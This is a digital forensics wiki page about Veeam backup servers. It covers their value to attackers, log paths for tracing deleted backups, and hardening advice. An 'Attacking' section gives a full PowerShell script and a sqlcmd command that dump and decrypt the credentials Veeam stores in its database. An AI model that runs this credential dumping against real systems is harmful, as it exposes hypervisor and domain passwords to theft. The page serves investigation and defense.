> For the complete documentation index, see [llms.txt](https://nk0.gitbook.io/dfir/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://nk0.gitbook.io/dfir/windows/forensics/3rd-party-apps/misc/veeam.md).

# Veeam

### What Is?

Veeam is a backup tool the allows the backing up and storage of data in online and offline backups.

### Threat Actor Value:

* Stores credentials of hosts that it uses to authenticate to and backup.
  * Could potentially allow a TA to steal ESXi credentials from a Veeam host.
* Could store images of DCs, allowing a TA to mount and extract NTDS.dit.
  * These images can be encrypted and require a password to decrypt and mount.
* Shows locations of offline backups and possibly ESXi hosts.
  * Can be used to discover these important hosts.
* Allows a TA to delete backups to hinder recovery process.

### File Location:

* `C:\ProgramData\Veeam\Backup\Svc.VeeamCatalog.log` will have "\[CRemoveBackupCmd]" line with clear BackupRef following. Using that you can get exact timestamp when Delete From Disk was initiated for backup you are missing.
* `C:\ProgramData\Veeam\Backup\Satellites\` you can find who exactly was logged on to your VBR server at said timestamp
* Finally, there is a log at user console machine(or VBR server if logged on locally) `C:\Users\UserName\AppData\Local\Veeam\Console` that tracks every single click user does, including "\[Backup] Delete" with clear ID of deleted backup too.

### Parse Data:

### Considerations:

* By default, grants local administrators on host administrative privileges to Veeam.
* By default, Veeam wants to allow SYSTEM to access mssql or postgress.

### Analysis Tips:

## **Attacking:**

### **Credential Dumping:**

{% embed url="<https://github.com/sadshade/veeam-creds/tree/main>" %}

{% embed url="<https://forums.veeam.com/powershell-f26/unencrypt-password-t93227.html>" %}

```powershell
$DBProduct = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations").SqlActiveConfiguration

# Add EncryptionSalt value from registry HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\Data
$saltbase = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\Data").EncryptionSalt


if ($DBProduct -eq "Mssql")
{
    #Get SQL configuration
    $SQLConfiguration = Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\MsSql"
    $SQLServer        = $SQLConfiguration.SqlServerName
    $SQLInstance      = $SQLConfiguration.SqlInstanceName
    $SQLDB            = $SQLConfiguration.SqlDatabaseName
    $SQLConnection    = $SQLServer + "\" + $SQLInstance
    $sqlquery="SELECT user_name,password from dbo.Credentials"

    $Connection                  = New-Object System.Data.SQLClient.SQLConnection
    $Connection.ConnectionString = "server='$SQLConnection';database='$SQLDB';trusted_connection=false; integrated security='true'"
    $Connection.Open()
    $command                     = $Connection.CreateCommand()
    $command.CommandText         = $sqlquery
    $Datatable                   = New-Object "System.Data.Datatable"
    $result                      = $command.ExecuteReader()
    $Datatable.Load($result)
    $Result=$Datatable   


}

else
{
    #If postgreSQL
    
    #Get PostgreSQL configuration

    $PostgreSQLConfiguration = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\PostgreSql")
    $PostgreUser             = $PostgreSQLConfiguration.SQLUsername
    $PostgreSecPassword      = (Get-Credential -Message "Enter password for user $PostgreUser" -UserName $PostgreUser)
    $PostgrePassword         = $PostgreSecPassword.GetNetworkCredential().Password
    $PostgrePort             = $PostgreSQLConfiguration.SqlHostPort
    $PostgreDatabase         = $PostgreSQLConfiguration.SqlDatabaseName
    $PostgreQuery            = "SELECT user_name,password,description,change_time_utc FROM credentials"
    $dburl                   = "postgresql://$($PostgreUser):$PostgrePassword@localhost:$PostgrePort/$PostgreDatabase"
    $Result                  = $PostgreQuery | & "C:\Program Files\PostgreSQL\15\bin\psql" --csv $dburl | ConvertFrom-Csv

}

#Decrypt password
Foreach ($account in $result)
{
    $Name = $account.user_name
    $Password = "<N/A>"
    if ($account.password -like "AQAA*")
    {
        $context = $account.password
        Add-Type -AssemblyName 'system.security'
        $data = [Convert]::FromBase64String($context)
        $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
        $Password = [System.Text.Encoding]::UTF8.Getstring($raw)

    }
    if ($account.password -like "VmVlY*")
    {    
        # Add encrypted value from the configuration database with single quotes. ('value' not '"value"')
        $context = $account.password


        # Make no changes below this line
        Add-Type -AssemblyName System.Security 
        $salt = [System.Convert]::FromBase64String($saltbase)
        $data = [System.Convert]::FromBase64String($context)
        $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($data.Length * 2)
        foreach ($byte in $data) {$hex.AppendFormat("{0:x2}", $byte) > $null}
        $hex = $hex.ToString().Substring(74,$hex.Length-74)
        $data = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
        for ($i = 0; $i -lt $hex.Length; $i += 2) {$data[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)}
        $securedPassword = [System.Convert]::ToBase64String($data)
        $data = [System.Convert]::FromBase64String($securedPassword)
        $local = [System.Security.Cryptography.DataProtectionScope]::LocalMachine
        $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $salt, $local) 
        $Password = [System.Text.Encoding]::UTF8.Getstring($raw)
    }

    [PSCustomObject]@{
        Name     = $Name
        Password = $Password
    }
}


```

### Script Output:

<figure><img src="/files/lpbeM6kvIDAZSJoqTa1T" alt=""><figcaption></figcaption></figure>

{% embed url="<https://cybersync.org/blogs-en/extracting_credential_from_veeam_backup>" %}

{% embed url="<https://www.whiteoaksecurity.com/blog/2020-4-14-from-veeam-to-domain-administrator/>" %}

### **Sqlcmd:**

If the database is a MSSQL database, credentials can be dumped with SQLCmd.

```powershell
"C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\130\Tools\Binn\sqlcmd.exe"  -S localhost,51341 -E -y0 -Q "SELECT TOP (1000) [id],[user_name],[password],[usn],[description],[visible],[change_time_utc]FROM [VeeamBackup].[dbo].[Credentials];"

SQL Query:
SELECT TOP (1000) [id]
,[user_name]
,[password]
,[usn]
,[description]
,[visible]
,[change_time_utc]
FROM [VeeamBackup].[dbo].[Credentials]
```

{% embed url="<https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump/>" %}

### **Defending:**

* Enable MFA authentication for Veeam.
* Do not domain join the Veeam server.
  * This allows a lot of entry points into it.
* Segregate Veeam to a maintenance network.
* Encrypt backups to prevent access to sensitive data without proper authentication.
* Save backups in offline storage to prevent access and deletion.
* Offline storages should pull and not push when it comes to downloading data.
  * This method only allows the offline storage to access the backup hosts and not the other way around.
